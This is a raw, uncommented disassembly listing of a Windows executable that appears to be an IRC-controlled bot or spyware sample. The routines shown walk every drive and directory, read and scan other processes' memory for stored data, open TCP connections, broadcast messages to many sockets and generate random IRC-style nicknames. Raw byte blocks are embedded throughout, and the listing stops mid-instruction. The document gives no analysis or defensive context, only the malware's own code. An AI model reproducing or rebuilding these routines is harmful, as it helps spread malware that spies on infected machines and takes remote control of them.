sub_419725+51p var_500 = byte ptr -500h var_380 = byte ptr -380h var_180 = byte ptr -180h var_100 = byte ptr -100h var_80 = byte ptr -80h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 500h push ebx mov ebx, [ebp+arg_C] push esi push edi lea eax, [ebp+var_500] push ebx push eax call sub_419549 push 60h pop ecx mov esi, eax lea eax, [ebp+var_80] push offset aFailed ; "failed" lea edi, [ebp+var_180] push eax rep movsd call sub_41E990 add esp, 10h test eax, eax jnz short loc_4196C6 push ebx push ebx call sub_4194B8 pop ecx push eax push offset unk_436EB0 lea eax, [ebp+var_380] push 200h push eax call sub_41E6FE add esp, 14h jmp short loc_4196FA ; --------------------------------------------------------------------------- loc_4196C6: ; CODE XREF: sub_419664+3Cj lea eax, [ebp+var_180] push eax lea eax, [ebp+var_100] push eax lea eax, [ebp+var_80] push eax push ebx push ebx call sub_4194B8 pop ecx push eax push offset unk_436E74 lea eax, [ebp+var_380] push 200h push eax call sub_41E6FE add esp, 20h loc_4196FA: ; CODE XREF: sub_419664+60j push 1 push [ebp+arg_8] lea eax, [ebp+var_380] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40123B lea eax, [ebp+var_380] push eax call sub_417D70 add esp, 18h pop edi pop esi pop ebx leave retn sub_419664 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419725 proc near ; CODE XREF: sub_40274D+2360p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ebx xor ebx, ebx cmp [ebp+arg_C], ebx jz short loc_419737 pop ebx pop ebp jmp sub_419664 ; --------------------------------------------------------------------------- loc_419737: ; CODE XREF: sub_419725+9j push esi push edi push ebx push ebx call ds:dword_4441A8 ; GetLogicalDriveStringsA lea esi, [eax+2] push esi call sub_41E5D3 pop ecx mov edi, eax push edi push esi call ds:dword_4441A8 ; GetLogicalDriveStringsA cmp [edi], bl mov esi, edi jz short loc_41978D loc_41975B: ; CODE XREF: sub_419725+66j push offset aA_1 ; "A:\\" push esi call sub_41E990 test eax, eax pop ecx pop ecx jz short loc_41977E push esi push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_419664 add esp, 10h loc_41977E: ; CODE XREF: sub_419725+45j push esi call sub_41E1C0 lea esi, [esi+eax+1] cmp [esi], bl pop ecx jnz short loc_41975B loc_41978D: ; CODE XREF: sub_419725+34j push edi call sub_41E2A1 pop ecx pop edi pop esi pop ebx pop ebp retn sub_419725 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419799 proc near ; CODE XREF: sub_419799+9Ep var_54C = byte ptr -54Ch var_34C = byte ptr -34Ch var_248 = byte ptr -248h var_144 = byte ptr -144h var_118 = byte ptr -118h var_117 = byte ptr -117h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp sub esp, 54Ch push ebx push esi push edi push [ebp+arg_10] mov esi, 104h push offset aS_3 ; "%s\\*" lea eax, [ebp+var_248] push esi push eax call sub_41E6FE mov edi, ds:dword_42B0B4 add esp, 10h lea eax, [ebp+var_144] push eax lea eax, [ebp+var_248] push eax call edi ; FindFirstFileA cmp eax, 0FFFFFFFFh mov [ebp+var_4], eax mov ebx, offset aSS_0 ; "%s\\%s" jz short loc_419856 loc_4197E5: ; CODE XREF: sub_419799+BBj test [ebp+var_144], 10h jz short loc_419842 cmp [ebp+var_118], 2Eh jnz short loc_419809 cmp [ebp+var_117], 0 jz short loc_419842 cmp [ebp+var_117], 2Eh jz short loc_419842 loc_419809: ; CODE XREF: sub_419799+5Cj lea eax, [ebp+var_118] push eax push [ebp+arg_10] lea eax, [ebp+var_34C] push ebx push esi push eax call sub_41E6FE push [ebp+arg_14] lea eax, [ebp+var_34C] push eax push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_419799 add esp, 2Ch mov [ebp+arg_14], eax loc_419842: ; CODE XREF: sub_419799+53j ; sub_419799+65j ... lea eax, [ebp+var_144] push eax push [ebp+var_4] call ds:dword_42B0B0 ; FindNextFileA test eax, eax jnz short loc_4197E5 loc_419856: ; CODE XREF: sub_419799+4Aj push [ebp+var_4] call ds:dword_42B0A4 ; FindClose push [ebp+arg_C] lea eax, [ebp+var_248] push [ebp+arg_10] push ebx push esi push eax call sub_41E6FE add esp, 14h lea eax, [ebp+var_144] push eax lea eax, [ebp+var_248] push eax call edi ; FindFirstFileA mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_4198DC loc_41988D: ; CODE XREF: sub_419799+141j inc [ebp+arg_14] lea eax, [ebp+var_118] push eax push [ebp+arg_10] lea eax, [ebp+var_54C] push offset dword_436EF0 push 200h push eax call sub_41E6FE push 1 push [ebp+arg_8] lea eax, [ebp+var_54C] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40123B add esp, 28h lea eax, [ebp+var_144] push eax push esi call ds:dword_42B0B0 ; FindNextFileA test eax, eax jnz short loc_41988D loc_4198DC: ; CODE XREF: sub_419799+F2j push esi call ds:dword_42B0A4 ; FindClose mov eax, [ebp+arg_14] pop edi pop esi pop ebx leave retn sub_419799 endp ; --------------------------------------------------------------------------- byte_4198EB db 55h ; DATA XREF: sub_40274D+6585o dd 8C246C8Dh, 49CEC81h, 458B0000h, 5756537Ch, 0A7B9F08Bh dd 8D000000h, 0FFFDD8BDh, 0C7A5F3FFh, 29880h, 100h, 60858D00h dd 50FFFFFFh, 489FE8h, 80DB3300h, 0FF5F05BCh, 595CFFFFh dd 858D1475h, 0FFFFFF60h, 4886E850h, 88590000h, 0FF5F059Ch dd 858DFFFFh, 0FFFFFE5Ch, 6F346850h, 858D0043h, 0FFFFFBD8h dd 20068h, 9FE85000h, 8300004Dh, 5D3910C4h, 5320756Ch dd 8D6875FFh, 0FFFBD885h, 858D50FFh, 0FFFFFDDCh, 0D8B5FF50h dd 0E8FFFFFDh, 0FFFE78B7h, 5314C483h, 0FF60858Dh, 8D50FFFFh dd 0FFFE5C85h, 75FF50FFh, 0DC858D68h, 50FFFFFDh, 0FDD8B5FFh dd 0EEE8FFFFh, 50FFFFFDh, 0FBD8858Dh, 1468FFFFh, 5000436Fh dd 4CE9E8h, 24C48300h, 756C5D39h, 75FF5320h, 0D8858D68h dd 50FFFFFBh, 0FDDC858Dh, 0FF50FFFFh, 0FFFDD8B5h, 7859E8FFh dd 0C483FFFEh, 0D8858D14h, 50FFFFFBh, 0FFE37FE8h, 6475FFFFh dd 0FF1750E8h, 535959FFh, 0B06815FFh, 83CC0042h, 648318ECh dd 83001424h, 42464h, 8B565553h, 42B0E835h, 0BB5700h, 53000001h dd 0D6FF086Ah, 0B0E43D8Bh, 0FF500042h, 8DE88BD7h, 50142444h dd 106A5553h, 0A96015FFh, 6A55004Dh, 50D6FF00h, 0B0E015FFh dd 74FF0042h, 86A1424h, 0FF50D6FFh, 8BE88BD7h, 8D142444h dd 511C244Ch, 106A5550h, 2C244489h, 0A96015FFh, 0C085004Dh dd 448B7E75h, 0E8C11C24h, 24448904h, 33717418h, 0C13B41C9h dd 4C89DD8Bh, 64721024h, 87B8366h, 6A507505h, 0FF006A00h dd 4DB16815h, 57F88B00h, 73FF016Ah, 6C15FF04h, 85004DB1h dd 8B2575C0h, 44896047h, 878D2024h, 80h, 436F6C68h, 13E85000h dd 5900006Fh, 55C2E850h, 0C0850000h, 34755959h, 774FF85h dd 7015FF57h, 8B004DB1h, 83182444h, 44FF10C3h, 44391024h dd 9C761024h, 6A55FF33h, 50D6FF00h, 0B0E015FFh, 0C78B0042h dd 5B5D5E5Fh, 0C318C483h, 18246483h, 247C8300h, 5D760020h dd 80878Dh, 44890000h, 44811024h, 11C1024h, 64680000h dd 0FF00436Fh, 0E8142474h, 6EA6h, 55E85059h, 85000055h dd 755959C0h, 6F5C6844h, 74FF0043h, 8BE81424h, 5900006Eh dd 553AE850h, 0C0850000h, 7755959h, 8904438Bh, 0FF242444h dd 8B182444h, 3B182444h, 72202444h, 74FF85ADh, 15FF5707h dd 4DB170h, 24247C8Bh, 0FFFF6DE9h, 0E9C033FFh, 0FFFFFF74h ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 68h push esi push dword ptr [ebp+8] xor esi, esi push esi push 410h mov [ebp-14h], esi call ds:dword_42B040 ; OpenProcess cmp eax, esi mov [ebp-8], eax jnz short loc_419BB5 xor eax, eax jmp loc_419D27 ; --------------------------------------------------------------------------- loc_419BB5: ; CODE XREF: seg000:00419BACj mov eax, [ebp+0Ch] push ebx mov [eax], esi push edi lea eax, [ebp-68h] push eax call ds:dword_42B0F4 ; GetSystemInfo push dword ptr [ebp-64h] mov [ebp-0Ch], esi mov esi, ds:dword_42B0E8 push 8 call esi ; GetProcessHeap mov edi, ds:dword_42B0E4 push eax call edi ; RtlAllocateHeap mov ebx, ds:dword_42B0F0 lea ecx, [ebp-0Ch] push ecx push dword ptr [ebp-64h] mov [ebp-4], eax push eax push 7FFDF000h push dword ptr [ebp-8] call ebx ; ReadProcessMemory test eax, eax jnz short loc_419C05 xor esi, esi jmp loc_419D1A ; --------------------------------------------------------------------------- loc_419C05: ; CODE XREF: seg000:00419BFCj push 1Ch lea eax, [ebp-44h] push eax mov eax, [ebp-4] push dword ptr [eax+18h] push dword ptr [ebp-8] call ds:dword_42B0EC ; VirtualQueryEx test eax, eax jz loc_419D09 test byte ptr [ebp-33h], 10h jz loc_419D09 test byte ptr [ebp-2Fh], 1 jnz loc_419D09 push dword ptr [ebp-38h] push 8 call esi ; GetProcessHeap push eax call edi ; RtlAllocateHeap mov edi, eax lea eax, [ebp-0Ch] push eax push dword ptr [ebp-38h] mov eax, [ebp-4] push edi push dword ptr [eax+18h] mov [ebp-10h], edi push dword ptr [ebp-8] call ebx ; ReadProcessMemory test eax, eax jz loc_419D09 loc_419C60: ; CODE XREF: seg000:00419C94j push edi push offset dword_4DA160 call sub_4298E2 test eax, eax pop ecx pop ecx jnz short loc_419C88 lea eax, [edi+200h] push eax push offset dword_4DA968 call sub_4298E2 test eax, eax pop ecx pop ecx jz short loc_419C98 loc_419C88: ; CODE XREF: seg000:00419C6Fj mov eax, [ebp-38h] mov ecx, [ebp-10h] inc edi inc edi add eax, ecx cmp edi, eax jb short loc_419C60 jmp short loc_419D09 ; --------------------------------------------------------------------------- loc_419C98: ; CODE XREF: seg000:00419C86j test edi, edi jz short loc_419D09 lea eax, [ebp-18h] push eax lea eax, [edi+410h] push eax call ds:dword_42B0AC ; FileTimeToLocalFileTime test eax, eax jz short loc_419CD5 lea eax, [ebp-28h] push eax lea eax, [ebp-18h] push eax call ds:dword_42B0A8 ; FileTimeToSystemTime test eax, eax jz short loc_419CD5 mov ecx, [ebp+0Ch] xor eax, eax mov al, [edi+42Ch] shr eax, 1 and eax, 7Fh mov [ecx], eax loc_419CD5: ; CODE XREF: seg000:00419CAFj ; seg000:00419CC1j movzx eax, byte ptr [edi+42Dh] mov ds:dword_4DB180, eax mov eax, [ebp-4] mov eax, [eax+18h] sub eax, [ebp-10h] mov dword ptr [ebp-14h], 1 lea eax, [eax+edi+434h] add edi, 434h mov ds:dword_4DB178, eax mov ds:dword_4DB17C, edi loc_419D09: ; CODE XREF: seg000:00419C1Cj ; seg000:00419C26j ... push dword ptr [ebp-4] push 0 call esi ; GetProcessHeap push eax call ds:dword_42B0E0 ; RtlFreeHeap mov esi, [ebp-14h] loc_419D1A: ; CODE XREF: seg000:00419C00j push dword ptr [ebp-8] call ds:dword_42B004 ; CloseHandle pop edi mov eax, esi pop ebx loc_419D27: ; CODE XREF: seg000:00419BB0j pop esi leave retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 50h push dword ptr [ebp+8] push 0 push 410h call ds:dword_42B040 ; OpenProcess test eax, eax mov [ebp-4], eax jnz short loc_419D49 leave retn ; --------------------------------------------------------------------------- loc_419D49: ; CODE XREF: seg000:00419D45j mov eax, [ebp+0Ch] and dword ptr [eax], 0 push ebx push esi push edi lea eax, [ebp-50h] push eax call ds:dword_42B0F4 ; GetSystemInfo mov eax, [ebp-44h] mov ebx, [ebp-48h] cmp ebx, eax mov [ebp-10h], eax jnb loc_419E09 mov edi, ds:dword_42B0E8 loc_419D73: ; CODE XREF: seg000:00419E03j push 1Ch lea eax, [ebp-2Ch] push eax push ebx push dword ptr [ebp-4] call ds:dword_42B0EC ; VirtualQueryEx test eax, eax jz short loc_419DF7 test byte ptr [ebp-1Bh], 10h mov eax, [ebp-20h] mov [ebp-8], eax jz short loc_419DFD test byte ptr [ebp-17h], 1 jnz short loc_419DFD push eax push 8 call edi ; GetProcessHeap push eax call ds:dword_42B0E4 ; RtlAllocateHeap and dword ptr [ebp-0Ch], 0 mov esi, eax lea eax, [ebp-0Ch] push eax push dword ptr [ebp-20h] push esi push ebx push dword ptr [ebp-4] call ds:dword_42B0F0 ; ReadProcessMemory test eax, eax jz short loc_419DE9 push offset dword_4DA160 push esi call sub_4298E2 test eax, eax pop ecx pop ecx jnz short loc_419DE9 lea eax, [esi+400h] push offset dword_4DA968 push eax call sub_4298E2 test eax, eax pop ecx pop ecx jz short loc_419E1B loc_419DE9: ; CODE XREF: seg000:00419DBFj ; seg000:00419DD0j push esi push 0 call edi ; GetProcessHeap push eax call ds:dword_42B0E0 ; RtlFreeHeap jmp short loc_419DFD ; --------------------------------------------------------------------------- loc_419DF7: ; CODE XREF: seg000:00419D85j mov eax, [ebp-4Ch] mov [ebp-8], eax loc_419DFD: ; CODE XREF: seg000:00419D91j ; seg000:00419D97j ... add ebx, [ebp-8] cmp ebx, [ebp-10h] jb loc_419D73 loc_419E09: ; CODE XREF: seg000:00419D67j xor esi, esi loc_419E0B: ; CODE XREF: seg000:00419E4Dj push dword ptr [ebp-4] call ds:dword_42B004 ; CloseHandle pop edi mov eax, esi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_419E1B: ; CODE XREF: seg000:00419DE7j add ebx, 800h lea eax, [esi+800h] xor ecx, ecx mov ds:dword_4DB178, ebx mov ds:dword_4DB17C, eax cmp [eax], cl jnz short loc_419E3D cmp [eax+1], cl jz short loc_419E45 loc_419E3D: ; CODE XREF: seg000:00419E36j ; seg000:00419E43j inc ecx inc eax inc eax cmp byte ptr [eax], 0 jnz short loc_419E3D loc_419E45: ; CODE XREF: seg000:00419E3Bj mov eax, [ebp+0Ch] xor esi, esi mov [eax], ecx inc esi jmp short loc_419E0B ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ecx push ecx mov eax, ds:dword_4DB174 add eax, eax mov [ebp-8], ax add eax, 2 push esi mov esi, ds:dword_42B0E8 mov [ebp-6], ax movzx eax, ax push edi push eax push 8 call esi ; GetProcessHeap push eax call ds:dword_42B0E4 ; RtlAllocateHeap mov ecx, ds:dword_4DB174 add ecx, ecx push ecx push ds:dword_4DB17C mov [ebp-4], eax push eax call sub_41F400 add esp, 0Ch lea eax, [ebp-8] push eax xor eax, eax mov al, byte ptr ds:dword_4DB180 push eax call ds:dword_4DA964 push dword ptr [ebp-4] mov edi, offset dword_4DB188 push offset dword_4DA160 push offset dword_4DA968 push dword ptr [ebp+8] push offset dword_436F78 push 200h push edi call sub_41E6FE add esp, 1Ch push dword ptr [ebp-4] push 0 call esi ; GetProcessHeap push eax call ds:dword_42B0E0 ; RtlFreeHeap mov eax, edi pop edi pop esi leave retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 18h mov eax, ds:dword_4DB174 add eax, eax push ebx mov [ebp-18h], ax add eax, 2 push esi mov [ebp-16h], ax movzx eax, ax push edi push eax push 8 call ds:dword_42B0E8 ; GetProcessHeap push eax call ds:dword_42B0E4 ; RtlAllocateHeap and dword ptr [ebp-0Ch], 0 mov [ebp-14h], eax mov ebx, offset dword_4DA968 mov edi, 200h mov esi, offset dword_4DB388 loc_419F2A: ; CODE XREF: seg000:00419FDEj mov eax, ds:dword_4DB174 add eax, eax push eax push ds:dword_4DB17C push dword ptr [ebp-14h] call sub_41F400 add esp, 0Ch lea eax, [ebp-18h] push eax push dword ptr [ebp-0Ch] call ds:dword_4DA964 mov eax, ds:dword_4DB174 and dword ptr [ebp-10h], 0 test eax, eax mov ecx, [ebp-14h] mov dword ptr [ebp-8], 1 jbe short loc_419F9F loc_419F67: ; CODE XREF: seg000:00419F97j cmp dword ptr [ebp-8], 0 jz short loc_419FBC mov dl, [ecx] test dl, dl mov [ebp-1], dl jz short loc_419F8B cmp byte ptr [ecx+1], 0 jnz short loc_419F8B cmp dl, 20h jnb short loc_419F85 and dword ptr [ebp-8], 0 loc_419F85: ; CODE XREF: seg000:00419F7Fj cmp byte ptr [ebp-1], 7Eh jbe short loc_419F8F loc_419F8B: ; CODE XREF: seg000:00419F74j ; seg000:00419F7Aj and dword ptr [ebp-8], 0 loc_419F8F: ; CODE XREF: seg000:00419F89j inc ecx inc ecx inc dword ptr [ebp-10h] cmp [ebp-10h], eax jb short loc_419F67 cmp dword ptr [ebp-8], 0 jz short loc_419FBC loc_419F9F: ; CODE XREF: seg000:00419F65j push dword ptr [ebp-14h] push offset dword_4DA160 push ebx push dword ptr [ebp+8] push offset dword_436F78 push edi push esi call sub_41E6FE add esp, 1Ch jmp short loc_419FD4 ; --------------------------------------------------------------------------- loc_419FBC: ; CODE XREF: seg000:00419F6Bj ; seg000:00419F9Dj push offset dword_4DA160 push ebx push dword ptr [ebp+8] push offset dword_436FC8 push edi push esi call sub_41E6FE add esp, 18h loc_419FD4: ; CODE XREF: seg000:00419FBAj inc dword ptr [ebp-0Ch] cmp dword ptr [ebp-0Ch], 0FFh jbe loc_419F2A push dword ptr [ebp-14h] push 0 call ds:dword_42B0E8 ; GetProcessHeap push eax call ds:dword_42B0E0 ; RtlFreeHeap pop edi mov eax, esi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- byte_419FFD db 55h, 8Dh, 6Ch ; DATA XREF: sub_40274D+1AE3o dd 0EC818C24h, 29Ch, 537C458Bh, 256A5756h, 8DF08B59h, 0A5F3D87Dh dd 8946F633h, 90B0h, 3625E800h, 0C63B0000h, 74704589h dd 2F8830Fh, 0F0680A74h, 0E9004371h, 13Dh, 71DC6856h, 92E80043h dd 85000023h, 0F5959C0h, 12384h, 71D06800h, 15FF0043h dd 42B018h, 0B020358Bh, 0F88B0042h, 4371B468h, 7D895700h dd 68D6FF6Ch, 437198h, 0A960A357h, 0D6FF004Dh, 43717868h dd 68A35700h, 0FF004DB1h, 715C68D6h, 0A3570043h, 4DB16Ch dd 4068D6FFh, 57004371h, 4DB170A3h, 0A3D6FF00h, 4DA964h dd 0FFF956E8h, 89C085FFh, 840F7C45h, 90h, 0B0FC358Bh, 0BF0042h dd 57000004h, 4DA160BBh, 2C685300h, 0FF004371h, 68BF57D6h dd 57004DA9h, 43711468h, 83D6FF00h, 6801707Dh, 4DB174h dd 757C75FFh, 0FA9AE807h, 5EBFFFFh, 0FFFC31E8h, 59C085FFh dd 83427459h, 4DB1743Dh, 20750000h, 75FF5753h, 0D8858D7Ch dd 68FFFFFDh, 4370B8h, 20068h, 0DBE85000h, 83000045h, 33EB18C4h dd 1707D83h, 757C75FFh, 0FD19E807h, 5EBFFFFh, 0FFFDA9E8h dd 0EB5059FFh, 707C680Ch, 5EB0043h, 43705068h, 0D8858D00h dd 50FFFFFDh, 454DE8h, 6A595900h, 71DC6800h, 72E80043h dd 59000022h, 6C75FF59h, 0B0F815FFh, 13EB0042h, 43701C68h dd 0D8858D00h, 50FFFFFDh, 4521E8h, 33595900h, 647539F6h dd 0FF561A75h, 858D6075h, 0FFFFFDD8h, 0DC458D50h, 0D875FF50h dd 0FE7096E8h, 14C483FFh, 0FDD8858Dh, 0E850FFFFh, 0FFFFDBBCh dd 0E85C75FFh, 0FFFF0F8Dh, 0FF565959h, 42B06815h db 0, 0CCh ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41A1C6 proc near ; CODE XREF: seg000:0041A7D2p var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 10h push esi push edi push 0 push 1 push 2 call ds:dword_444100 ; socket mov edi, eax or esi, 0FFFFFFFFh cmp edi, esi jz short loc_41A242 push 10h lea eax, [ebp+var_10] push 0 push eax call sub_41E5F0 add esp, 0Ch push [ebp+arg_4] mov [ebp+var_10], 2 call ds:dword_444260 ; htons push [ebp+arg_0] mov [ebp+var_E], ax call ds:dword_44417C ; inet_addr cmp eax, esi jnz short loc_41A227 push [ebp+arg_0] call ds:dword_444168 ; gethostbyname test eax, eax jz short loc_41A242 mov eax, [eax+0Ch] mov eax, [eax] mov eax, [eax] loc_41A227: ; CODE XREF: sub_41A1C6+4Bj mov [ebp+var_C], eax push 10h lea eax, [ebp+var_10] push eax push edi call ds:dword_4440AC ; connect cmp eax, esi jnz short loc_41A246 push edi call ds:dword_444218 ; closesocket loc_41A242: ; CODE XREF: sub_41A1C6+1Bj ; sub_41A1C6+58j mov eax, esi jmp short loc_41A248 ; --------------------------------------------------------------------------- loc_41A246: ; CODE XREF: sub_41A1C6+73j mov eax, edi loc_41A248: ; CODE XREF: sub_41A1C6+7Ej pop edi pop esi leave retn sub_41A1C6 endp ; =============== S U B R O U T I N E ======================================= sub_41A24C proc near ; CODE XREF: sub_40274D+305Ep ; sub_40274D+30C1p ... arg_0 = dword ptr 4 push esi push edi mov edi, [esp+8+arg_0] push offset asc_42CC64 ; "\n" push edi call sub_41EED0 pop ecx pop ecx mov esi, offset dword_4DB58C loc_41A264: ; CODE XREF: sub_41A24C+42j cmp dword ptr [esi-4], 1 jnz short loc_41A282 cmp dword ptr [esi], 0 jbe short loc_41A282 push 0 push edi call sub_41E1C0 pop ecx push eax push edi push dword ptr [esi] call ds:dword_4441A0 ; send loc_41A282: ; CODE XREF: sub_41A24C+1Cj ; sub_41A24C+21j add esi, 210h cmp esi, offset dword_4E1CAC jl short loc_41A264 pop edi pop esi retn sub_41A24C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41A293 proc near ; CODE XREF: sub_40274D+34C1p ; sub_40274D+3504p ... var_3C = byte ptr -3Ch var_28 = byte ptr -28h var_27 = byte ptr -27h var_14 = dword ptr -14h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 3Ch push 14h lea eax, [ebp+var_28] push 0 push eax call sub_41E5F0 add esp, 0Ch call sub_41ECDE mov [ebp+var_C], eax fild [ebp+var_C] fmul ds:dbl_437988 call sub_41FE38 cmp eax, 1 jnz short loc_41A2DD call sub_41ECDE call sub_41ECDE push 66h cdq pop ecx idiv ecx push ds:off_4431D8[edx*4] jmp short loc_41A2F6 ; --------------------------------------------------------------------------- loc_41A2DD: ; CODE XREF: sub_41A293+2Fj call sub_41ECDE call sub_41ECDE cdq mov ecx, 0C0h idiv ecx push ds:off_442ED8[edx*4] loc_41A2F6: ; CODE XREF: sub_41A293+48j lea eax, [ebp+var_28] push eax call sub_41EEC0 pop ecx pop ecx push ebx push esi lea eax, [ebp+var_28] push edi push eax call sub_41E1C0 pop ecx mov esi, eax push 13h pop ebx mov [ebp+var_4], esi sub ebx, esi call sub_41ECDE mov [ebp+var_C], eax fild [ebp+var_C] fmul ds:dbl_437980 call sub_41FE38 mov [ebp+var_14], eax call sub_41ECDE mov [ebp+var_C], eax fild [ebp+var_C] fimul [ebp+var_4] fmul ds:dbl_437978 call sub_41FE38 cmp esi, 2 mov edi, offset a__1 ; "-|`_\\{[]}" jle short loc_41A368 cmp esi, 3 jnz short loc_41A35F cmp [ebp+var_14], 1 jz short loc_41A368 loc_41A35F: ; CODE XREF: sub_41A293+C4j cmp eax, 1 jnz loc_41A42B loc_41A368: ; CODE XREF: sub_41A293+BFj ; sub_41A293+CAj call sub_41ECDE mov [ebp+var_14], eax fild [ebp+var_14] fmul ds:dbl_437960 call sub_41FE38 push ds:off_4431D8[eax*4] lea eax, [ebp+var_3C] push eax call sub_41EEC0 lea eax, [ebp+esi+var_28] mov [ebp+var_C], eax movsx eax, byte ptr [eax-1] push eax push edi call sub_41EFD0 add esp, 10h test eax, eax jnz short loc_41A41A movsx eax, [ebp+var_3C] push eax push edi call sub_41EFD0 test eax, eax pop ecx pop ecx jnz short loc_41A41A call sub_41ECDE mov [ebp+var_14], eax fild [ebp+var_14] dec esi mov [ebp+var_14], esi fild [ebp+var_14] fmulp st(1), st fmul ds:dbl_437978 call sub_41FE38 cmp eax, 1 jnz short loc_41A41A push edi call sub_41E1C0 test eax, eax mov [ebp+var_14], eax fild [ebp+var_14] pop ecx jge short loc_41A3F3 fadd ds:dbl_433088 loc_41A3F3: ; CODE XREF: sub_41A293+158j fstp qword ptr [ebp-8] call sub_41ECDE mov [ebp+var_14], eax fild [ebp+var_14] fmul qword ptr [ebp-8] fmul ds:dbl_437978 call sub_41FE38 mov al, byte ptr ds:a__1[eax] ; "-|`_\\{[]}" mov ecx, [ebp+var_C] mov [ecx], al loc_41A41A: ; CODE XREF: sub_41A293+112j ; sub_41A293+123j ... push ebx lea eax, [ebp+var_3C] push eax lea eax, [ebp+var_28] push eax call sub_41F2C0 add esp, 0Ch loc_41A42B: ; CODE XREF: sub_41A293+CFj lea eax, [ebp+var_28] push eax call sub_41E1C0 mov esi, eax lea ebx, [ebp+esi+var_28] movsx eax, byte ptr [ebx-1] push eax mov [ebp+var_4], esi call sub_420AD5 test eax, eax pop ecx pop ecx jnz loc_41A695 and [ebp+var_C], eax movsx eax, byte ptr [ebx-1] push eax push edi call sub_41EFD0 test eax, eax pop ecx pop ecx jnz loc_41A595 call sub_41ECDE mov [ebp+var_14], eax fild [ebp+var_14] lea eax, [esi+3] mov [ebp+var_14], eax fild [ebp+var_14] fmulp st(1), st fmul ds:dbl_437978 call sub_41FE38 cmp esi, 3 jz short loc_41A498 cmp eax, 1 jnz loc_41A595 loc_41A498: ; CODE XREF: sub_41A293+1FAj push 2 cdq pop ecx idiv ecx cmp edx, 1 jnz short loc_41A4E0 push edi call sub_41E1C0 test eax, eax mov [ebp+var_14], eax fild [ebp+var_14] pop ecx jge short loc_41A4BA fadd ds:dbl_433088 loc_41A4BA: ; CODE XREF: sub_41A293+21Fj fstp qword ptr [ebp-10h] call sub_41ECDE mov [ebp+var_14], eax fild [ebp+var_14] fmul qword ptr [ebp-10h] fmul ds:dbl_437978 call sub_41FE38 mov al, byte ptr ds:a__1[eax] ; "-|`_\\{[]}" mov [ebx], al jmp short loc_41A4FC ; --------------------------------------------------------------------------- loc_41A4E0: ; CODE XREF: sub_41A293+20Ej call sub_41ECDE mov [ebp+var_14], eax fild [ebp+var_14] fmul ds:dbl_437958 call sub_41FE38 mov cl, 41h sub cl, al mov [ebx], cl loc_41A4FC: ; CODE XREF: sub_41A293+24Bj xor ebx, ebx inc esi inc ebx mov [ebp+var_4], esi mov [ebp+var_C], ebx call sub_41ECDE mov [ebp+var_14], eax fild [ebp+var_14] fmul ds:dbl_437950 call sub_41FE38 cmp esi, 3 jz short loc_41A525 cmp eax, ebx jnz short loc_41A595 loc_41A525: ; CODE XREF: sub_41A293+28Cj push 2 pop ebx cdq mov ecx, ebx idiv ecx test edx, edx jnz short loc_41A570 push edi call sub_41E1C0 test eax, eax mov [ebp+var_14], eax fild [ebp+var_14] pop ecx jge short loc_41A548 fadd ds:dbl_433088 loc_41A548: ; CODE XREF: sub_41A293+2ADj fstp qword ptr [ebp-10h] call sub_41ECDE mov [ebp+var_14], eax fild [ebp+var_14] fmul qword ptr [ebp-10h] fmul ds:dbl_437978 call sub_41FE38 mov al, byte ptr ds:a__1[eax] ; "-|`_\\{[]}" mov [ebp+esi+var_28], al jmp short loc_41A58E ; --------------------------------------------------------------------------- loc_41A570: ; CODE XREF: sub_41A293+29Cj call sub_41ECDE mov [ebp+var_14], eax fild [ebp+var_14] fmul ds:dbl_437958 call sub_41FE38 mov cl, 41h sub cl, al mov [ebp+esi+var_28], cl loc_41A58E: ; CODE XREF: sub_41A293+2DBj inc esi mov [ebp+var_4], esi mov [ebp+var_C], ebx loc_41A595: ; CODE XREF: sub_41A293+1D0j ; sub_41A293+1FFj ... cmp esi, 6 jge short loc_41A615 call sub_41ECDE cmp esi, 5 jge short loc_41A5B2 mov [ebp+var_14], eax fild [ebp+var_14] fmul ds:dbl_437980 jmp short loc_41A5CB ; --------------------------------------------------------------------------- loc_41A5B2: ; CODE XREF: sub_41A293+30Fj mov [ebp+var_14], eax fild [ebp+var_14] push 8 pop eax sub eax, esi mov [ebp+var_14], eax fild [ebp+var_14] fmulp st(1), st fmul ds:dbl_437978 loc_41A5CB: ; CODE XREF: sub_41A293+31Dj call sub_41FE38 test eax, eax jnz short loc_41A5EE call sub_41ECDE mov [ebp+var_14], eax fild [ebp+var_14] fmul ds:dbl_437948 call sub_41FE38 mov cl, 30h jmp short loc_41A60B ; --------------------------------------------------------------------------- loc_41A5EE: ; CODE XREF: sub_41A293+33Fj cmp eax, 1 jnz short loc_41A615 call sub_41ECDE mov [ebp+var_14], eax fild [ebp+var_14] fmul ds:dbl_437958 call sub_41FE38 mov cl, 41h loc_41A60B: ; CODE XREF: sub_41A293+359j sub cl, al mov [ebp+esi+var_28], cl inc esi mov [ebp+var_4], esi loc_41A615: ; CODE XREF: sub_41A293+305j ; sub_41A293+35Ej cmp [ebp+var_C], 2 jge short loc_41A695 call sub_41ECDE mov [ebp+var_14], eax fild 